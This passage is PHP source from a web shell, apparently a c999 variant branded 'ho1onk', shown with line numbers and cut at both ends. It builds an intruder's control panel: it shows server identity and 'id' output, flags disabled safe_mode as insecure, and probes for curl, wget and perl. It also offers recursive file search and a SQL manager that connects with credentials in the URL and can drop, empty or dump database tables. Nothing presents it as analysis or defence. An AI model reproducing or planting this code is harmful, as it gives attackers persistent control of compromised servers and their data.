1283 if (!empty($functs[$k])) {$value .= ")";}
1284
1285 $result .= "`".$k."` = ".$value.$sep;
1286
1287 }
1288
1289 $result = substr($result,0,strlen($result)-strlen($sep));
1290
1291 return $result;
1292
1293}
1294
1295}
1296
1297
1298
1299
1300if (!function_exists("mysql_fetch_all"))
1301
1302{
1303
1304function mysql_fetch_all($query,$sock)
1305
1306{
1307
1308 if ($sock) {$result = mysql_query($query,$sock);}
1309
1310 else {$result = mysql_query($query);}
1311
1312 $array = array();
1313
1314 while ($row = mysql_fetch_array($result)) {$array[] = $row;}
1315
1316 mysql_free_result($result);
1317
1318 return $array;
1319
1320}
1321
1322}
1323
1324if (!function_exists("mysql_smarterror"))
1325
1326{
1327
1328function mysql_smarterror($type,$sock)
1329
1330{
1331
1332 if ($sock) {$error = mysql_error($sock);}
1333
1334 else {$error = mysql_error();}
1335
1336 $error = htmlspecialchars($error);
1337
1338 return $error;
1339
1340}
1341
1342}
1343
1344if (!function_exists("mysql_query_form"))
1345
1346{
1347
1348function mysql_query_form()
1349
1350{
1351
1352 global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
1353
1354 if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
1355
1356 if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
1357
1358 if ((!$submit) or ($sql_act))
1359
1360 {
1361
1362 echo "<table border=0><tr><td><form name=\"c999sh_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\"> <input type=submit value=\"No\"></form></td>";
1363
1364 if ($tbl_struct)
1365
1366 {
1367
1368 echo "<td valign=\"top\"><b>Fields:</b><br>";
1369
1370 foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "?В» <a href=\"#\" onclick=\"document.c999sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";}
1371
1372 echo "</td></tr></table>";
1373
1374 }
1375
1376 }
1377
1378 if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
1379
1380}
1381
1382}
1383
1384if (!function_exists("mysql_create_db"))
1385
1386{
1387
1388function mysql_create_db($db,$sock="")
1389
1390{
1391
1392 $sql = "CREATE DATABASE `".addslashes($db)."`;";
1393
1394 if ($sock) {return mysql_query($sql,$sock);}
1395
1396 else {return mysql_query($sql);}
1397
1398}
1399
1400}
1401
1402if (!function_exists("mysql_query_parse"))
1403
1404{
1405
1406function mysql_query_parse($query)
1407
1408{
1409
1410 $query = trim($query);
1411
1412 $arr = explode (" ",$query);
1413
1414 /*array array()
1415
1416 {
1417
1418 "METHOD"=>array(output_type),
1419
1420 "METHOD1"...
1421
1422 ...
1423
1424 }
1425
1426 if output_type == 0, no output,
1427
1428 if output_type == 1, no output if no error
1429
1430 if output_type == 2, output without control-buttons
1431
1432 if output_type == 3, output with control-buttons
1433
1434 */
1435
1436 $types = array(
1437
1438 "SELECT"=>array(3,1),
1439
1440 "SHOW"=>array(2,1),
1441
1442 "DELETE"=>array(1),
1443
1444 "DROP"=>array(1)
1445
1446 );
1447
1448 $result = array();
1449
1450 $op = strtoupper($arr[0]);
1451
1452 if (is_array($types[$op]))
1453
1454 {
1455
1456 $result["propertions"] = $types[$op];
1457
1458 $result["query"] = $query;
1459
1460 if ($types[$op] == 2)
1461
1462 {
1463
1464 foreach($arr as $k=>$v)
1465
1466 {
1467
1468 if (strtoupper($v) == "LIMIT")
1469
1470 {
1471
1472 $result["limit"] = $arr[$k+1];
1473
1474 $result["limit"] = explode(",",$result["limit"]);
1475
1476 if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
1477
1478 unset($arr[$k],$arr[$k+1]);
1479
1480 }
1481
1482 }
1483
1484 }
1485
1486 }
1487
1488 else {return FALSE;}
1489
1490}
1491
1492}
1493
1494if (!function_exists("c999fsearch"))
1495
1496{
1497
1498function c999fsearch($d)
1499
1500{
1501
1502 global $found;
1503
1504 global $found_d;
1505
1506 global $found_f;
1507
1508 global $search_i_f;
1509
1510 global $search_i_d;
1511
1512 global $a;
1513
1514 if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
1515
1516 $h = opendir($d);
1517
1518 while (($f = readdir($h)) !== FALSE)
1519
1520 {
1521
1522 if($f != "." && $f != "..")
1523
1524 {
1525
1526 $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f));
1527
1528 if (is_dir($d.$f))
1529
1530 {
1531
1532 $search_i_d++;
1533
1534 if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
1535
1536 if (!is_link($d.$f)) {c999fsearch($d.$f);}
1537
1538 }
1539
1540 else
1541
1542 {
1543
1544 $search_i_f++;
1545
1546 if ($bool)
1547
1548 {
1549
1550 if (!empty($a["text"]))
1551
1552 {
1553
1554 $r = @file_get_contents($d.$f);
1555
1556 if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
1557
1558 if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
1559
1560 if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
1561
1562 else {$bool = strpos(" ".$r,$a["text"],1);}
1563
1564 if ($a["text_not"]) {$bool = !$bool;}
1565
1566 if ($bool) {$found[] = $d.$f; $found_f++;}
1567
1568 }
1569
1570 else {$found[] = $d.$f; $found_f++;}
1571
1572 }
1573
1574 }
1575
1576 }
1577
1578 }
1579
1580 closedir($h);
1581
1582}
1583
1584}
1585
1586if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}}
1587
1588//Sending headers
1589
1590@ob_start();
1591
1592@ob_implicit_flush(0);
1593
1594function onphpshutdown()
1595
1596{
1597
1598 global $gzipencode,$ft;
1599
1600 if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad")))
1601
1602 {
1603
1604 $v = @ob_get_contents();
1605
1606 @ob_end_clean();
1607
1608 @ob_start("ob_gzHandler");
1609
1610 echo $v;
1611
1612 @ob_end_flush();
1613
1614 }
1615
1616}
1617
1618function c999shexit()
1619
1620{
1621
1622 onphpshutdown();
1623
1624 exit;
1625
1626}
1627
1628header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
1629
1630header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
1631
1632header("Cache-Control: no-store, no-cache, must-revalidate");
1633
1634header("Cache-Control: post-check=0, pre-check=0", FALSE);
1635
1636header("Pragma: no-cache");
1637
1638if (empty($tmpdir))
1639
1640{
1641
1642 $tmpdir = ini_get("upload_tmp_dir");
1643
1644 if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}
1645
1646}
1647
1648$tmpdir = realpath($tmpdir);
1649
1650$tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir);
1651
1652if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
1653
1654if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
1655
1656else {$tmpdir_logs = realpath($tmpdir_logs);}
1657
1658if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
1659
1660{
1661
1662 $safemode = TRUE;
1663
1664 $hsafemode = "<font color=red>ON (secure)</font>";
1665
1666}
1667
1668else {$safemode = FALSE; $hsafemode = "<font color=green>OFF (not secure)</font>";}
1669
1670$v = @ini_get("open_basedir");
1671
1672if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "<font color=red>".$v."</font>";}
1673
1674else {$openbasedir = FALSE; $hopenbasedir = "<font color=green>OFF (not secure)</font>";}
1675
1676$sort = htmlspecialchars($sort);
1677
1678if (empty($sort)) {$sort = $sort_default;}
1679
1680$sort[1] = strtolower($sort[1]);
1681
1682$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
1683
1684if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
1685
1686$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE));
1687
1688@ini_set("highlight.bg",$highlight_bg); //FFFFFF
1689
1690@ini_set("highlight.comment",$highlight_comment); //#FF8000
1691
1692@ini_set("highlight.default",$highlight_default); //#0000BB
1693
1694@ini_set("highlight.html",$highlight_html); //#000000
1695
1696@ini_set("highlight.keyword",$highlight_keyword); //#007700
1697
1698@ini_set("highlight.string",$highlight_string); //#DD0000
1699
1700if (!is_array($actbox)) {$actbox = array();}
1701
1702$dspact = $act = htmlspecialchars($act);
1703
1704$disp_fullpath = $ls_arr = $notls = null;
1705
1706$ud = $d;
1707
1708?>
1709<html>
1710<head>
1711<meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><title><?php echo getenv("HTTP_HOST"); ?> - ho1onk</title><STYLE>
1712 #menu{ background:#111111; margin:8px 2px 4px 2px; }
1713 #menu a{ padding:4px 18px; margin:0; background:#333333; text-decoration:none; letter-spacing:2px; }
1714 #menu a:hover{ background:#454545; border-bottom:1px solid #191919; border-top:1px solid #333333; }
1715 TD { FONT-SIZE: 8pt; COLOR: #ebebeb; background: rgba(76,76,76,0.4); FONT-FAMILY: verdana; border: solid 1pt #111111; padding: 3pt;}
1716 TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}
1717 A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}
1718 A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}
1719 A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}
1720 A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}
1721 A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}
1722 .skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}
1723 .skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}
1724 input{background-color: #111111; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}
1725 textarea{background-color: #111111; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}
1726 button{background-color: #111111; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}
1727 select{background-color: #111111; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}
1728 option {background-color: #111111; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}
1729 iframe {background-color: #111111; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}
1730 p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}
1731 body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}
1732 body { background: #000;}
1733 .explore{ width:100%; }
1734 .explore a { text-decoration:none; }
1735 .explore td{ border-bottom:1px solid #333333; padding:0 8px; line-height:24px; }
1736 .explore th{ padding:3px 8px; font-weight:normal; }
1737 .explore th:hover , .phpinfo th:hover{ border-bottom:1px solid #4C83AF; }
1738 .explore tr:hover{ background:#111111; }
1739 .head_info{ padding: 0 4px; }
1740
1741 .b1{ font-size:25px; padding:0; color:#444444; }
1742
1743
1744.b_tbl{ text-align:center; margin:0 4px 0 0; padding:0 4px 0 0; border-right:1px solid #333333; }
1745</style></head>
1746<BODY>
1747
1748<center>
1749<TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 width="90%"><tr><td width="990" height="1" valign="top">
1750<p align="center"><center>
1751<?
1752$sh_id = "UG93ZXJlZCBCeSBobzFvbms=";
1753$sh_ver = " - v. 2 feature";
1754$sh_name = base64_decode($sh_id).$sh_ver;
1755print ("<h2>$sh_name</h2>[+] www.medancyberteam.web.id [+]");
1756?>
1757</center></p>
1758
1759</table><br>
1760<TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 width="90%"><tr><td>
1761<p align="left">Software: <?php echo $DISP_SERVER_SOFTWARE; ?> </p>
1762<p align="left">uname -a: <?php echo wordwrap(php_uname(),90,"<br>",1); ?> </p>
1763<p align="left"><?php if (!$win) {echo wordwrap(myshellexec("id"),90,"<br>",1);} else {echo get_current_user();}?></b> </p>
1764<p align="left"><b>Safe-mode: <?php echo $hsafemode; ?></b></p>
1765<p align="left">
1766
1767<?php
1768
1769$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
1770
1771if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);}
1772
1773$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
1774
1775if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
1776
1777$d = str_replace("\\\\","\\",$d);
1778
1779$dispd = htmlspecialchars($d);
1780
1781$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));
1782
1783$i = 0;
1784
1785foreach($pd as $b)
1786
1787{
1788
1789 $t = "";
1790
1791 $j = 0;
1792
1793 foreach ($e as $r)
1794
1795 {
1796
1797 $t.= $r.DIRECTORY_SEPARATOR;
1798
1799 if ($j == $i) {break;}
1800
1801 $j++;
1802
1803 }
1804
1805 echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\">".htmlspecialchars($b).DIRECTORY_SEPARATOR."</a>";
1806
1807 $i++;
1808
1809}
1810
1811echo " ";
1812
1813if (is_writable($d))
1814
1815{
1816
1817 $wd = TRUE;
1818
1819 $wdt = "<font color=green>[ ok ]</font>";
1820
1821 echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>";
1822
1823}
1824
1825else
1826
1827{
1828
1829 $wd = FALSE;
1830
1831 $wdt = "<font color=red>[ Read-Only ]</font>";
1832
1833 echo "<b>".view_perms_color($d)."</b>";
1834
1835}
1836
1837if (is_callable("disk_free_space"))
1838
1839{
1840
1841 $free = disk_free_space($d);
1842
1843 $total = disk_total_space($d);
1844
1845 if ($free === FALSE) {$free = 0;}
1846
1847 if ($total === FALSE) {$total = 0;}
1848
1849 if ($free < 0) {$free = 0;}
1850
1851 if ($total < 0) {$total = 0;}
1852
1853 $used = $total-$free;
1854
1855 $free_percent = round(100/($total/$free),2);
1856
1857 echo "<br><b>Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%)</b>";
1858
1859}
1860
1861echo "<br>";
1862
1863$letters = "";
1864
1865if ($win)
1866
1867{
1868
1869 $v = explode("\\",$d);
1870
1871 $v = $v[0];
1872
1873 foreach (range("a","z") as $letter)
1874
1875 {
1876
1877 $bool = $isdiskette = in_array($letter,$safemode_diskettes);
1878
1879 if (!$bool) {$bool = is_dir($letter.":\\");}
1880
1881 if ($bool)
1882
1883 {
1884
1885 $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\\")."\"".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">[ ";
1886
1887 if ($letter.":" != $v) {$letters .= $letter;}
1888
1889 else {$letters .= "<font color=green>".$letter."</font>";}
1890
1891 $letters .= " ]</a> ";
1892
1893 }
1894
1895 }
1896
1897 if (!empty($letters)) {echo "<b>Detected drives</b>: ".$letters."<br>";}
1898
1899}
1900echo "<div id='menu'>";
1901echo "<center>";
1902if (count($quicklaunch) > 0)
1903
1904{
1905
1906 foreach($quicklaunch as $item)
1907
1908 {
1909
1910 $item[1] = str_replace("%d",$d,$item[1]);
1911
1912 $item[1] = str_replace("%sort",$sort,$item[1]);
1913
1914 $v = realpath($d."..");
1915
1916 if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);}
1917
1918 $item[1] = str_replace("%upd",urlencode($v),$item[1]);
1919
1920 echo "<a href=\"".$item[1]."\">".$item[0]."</a> ";
1921
1922 }
1923
1924}
1925echo "</div><br>";
1926echo "<center>MySQL: ".testmysql()." MSSQL: ".testmssql()." Oracle: ".testoracle()." MSSQL: ".testmssql()." PostgreSQL: ".testpostgresql().
1927" cURL: ".testcurl()." WGet: ".testwget()." Fetch: ".testfetch()." Perl: ".testperl()."</center>";
1928echo "</center>";
1929echo "";
1930echo "</p></td></tr></table>";
1931
1932if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "";}
1933
1934echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 width=\"90%\" ><tr><td width=\"100%\" valign=\"top\">";
1935
1936if ($act == "") {$act = $dspact = "ls";}
1937
1938if ($act == "sql")
1939
1940{
1941
1942 $sql_surl = $surl."act=sql";
1943
1944 if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);}
1945
1946 if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);}
1947
1948 if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);}
1949
1950 if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);}
1951
1952 if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}
1953
1954 $sql_surl .= "&";
1955
1956 ?><h3>Attention! SQL-Manager is <u>NOT</u> ready module! Don't reports bugs.</h3><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 width="100%"><tr><td width="100%" height="1" colspan="2" valign="top"><center><?php
1957
1958 if ($sql_server)
1959
1960 {
1961
1962 $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd);
1963
1964 $err = mysql_smarterror();
1965
1966 @mysql_select_db($sql_db,$sql_sock);
1967
1968 if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();}
1969
1970 }
1971
1972 else {$sql_sock = FALSE;}
1973
1974 echo "<b>SQL Manager:</b><br>";
1975
1976 if (!$sql_sock)
1977
1978 {
1979
1980 if (!$sql_server) {echo "NO CONNECTION";}
1981
1982 else {echo "<center><b>Can't connect</b></center>"; echo "<b>".$err."</b>";}
1983
1984 }
1985
1986 else
1987
1988 {
1989
1990 $sqlquicklaunch = array();
1991
1992 $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
1993
1994 $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl));
1995
1996 $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus");
1997
1998 $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars");
1999
2000 $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes");
2001
2002 $sqlquicklaunch[] = array("Logout",$surl."act=sql");
2003
2004 echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")</b><br>";
2005
2006 if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><b>".$item[0]."</b></a> ] ";}}
2007
2008 echo "</center>";
2009
2010 }
2011
2012 echo "</td></tr><tr>";
2013
2014 if (!$sql_sock) {?><td width="28%" height="100" valign="top"><center><font size="5"> i </font></center><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width="100%" height="1" valign="top"><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td> <b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b> </td><td><b>Database</b> </td></tr><form action="<?php echo $surl; ?>" method="POST"><input type="hidden" name="act" value="sql"><tr><td><input type="text" name="sql_login" value="root" maxlength="64"></td><td><input type="password" name="sql_passwd" value="" maxlength="64"></td><td><input type="text" name="sql_db" value="" maxlength="64"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type="text" name="sql_server" value="localhost" maxlength="64"></td><td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"></td><td><input type="submit" value="Connect"></td></tr><tr><td></td></tr></form></table></td><?php }
2015
2016 else
2017
2018 {
2019
2020 //Start left panel
2021
2022 if (!empty($sql_db))
2023
2024 {
2025
2026 ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade><?php
2027
2028 $result = mysql_list_tables($sql_db);
2029
2030 if (!$result) {echo mysql_smarterror();}
2031
2032 else
2033
2034 {
2035
2036 echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>";
2037
2038 $c = 0;
2039
2040 while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>?В» <a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;}
2041
2042 if (!$c) {echo "No tables found in database.";}
2043
2044 }
2045
2046 }
2047
2048 else
2049
2050 {
2051
2052 ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade><?php
2053
2054 $result = mysql_list_dbs($sql_sock);
2055
2056 if (!$result) {echo mysql_smarterror();}
2057
2058 else
2059
2060 {
2061
2062 ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"><?php
2063
2064 $c = 0;
2065
2066 $dbs = "";
2067
2068 while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;}
2069
2070 echo "<option value=\"\">Databases (".$c.")</option>";
2071
2072 echo $dbs;
2073
2074 }
2075
2076 ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form><?php
2077
2078 }
2079
2080 //End left panel
2081
2082 echo "</td><td width=\"100%\" height=\"1\" valign=\"top\">";
2083
2084 //Start center panel
2085
2086 $diplay = TRUE;
2087
2088 if ($sql_db)
2089
2090 {
2091
2092 if (!is_numeric($c)) {$c = 0;}
2093
2094 if ($c == 0) {$c = "no";}
2095
2096 echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>";
2097
2098 if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
2099
2100 echo "</b></center>";
2101
2102 $acts = array("","dump");
2103
2104 if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
2105
2106 elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";}
2107
2108 elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";}
2109
2110 elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
2111
2112 elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
2113
2114 elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
2115
2116 elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
2117
2118 elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";}
2119
2120 elseif ($sql_tbl_act == "insert")
2121
2122 {
2123
2124 if ($sql_tbl_insert_radio == 1)
2125
2126 {
2127
2128 $keys = "";
2129
2130 $akeys = array_keys($sql_tbl_insert);
2131
2132 foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
2133
2134 if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
2135
2136 $values = "";
2137
2138 $i = 0;
2139
2140 foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
2141
2142 if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
2143
2144 $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
2145
2146 $sql_act = "query";
2147
2148 $sql_tbl_act = "browse";
2149
2150 }
2151
2152 elseif ($sql_tbl_insert_radio == 2)
2153
2154 {
2155
2156 $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
2157
2158 $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
2159
2160 $result = mysql_query($sql_query) or print(mysql_smarterror());
2161
2162 $result = mysql_fetch_array($result, MYSQL_ASSOC);
2163
2164 $sql_act = "query";
2165
2166 $sql_tbl_act = "browse";
2167
2168 }
2169
2170 }
2171
2172 if ($sql_act == "query")
2173
2174 {
2175
2176 echo "<hr size=\"1\" noshade>";
2177
2178 if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
2179
2180 if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
2181
2182 if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\"> <input type=\"submit\" value=\"No\"></form></td></tr></table>";}
2183
2184 }
2185
2186 if (in_array($sql_act,$acts))
2187
2188 {
2189
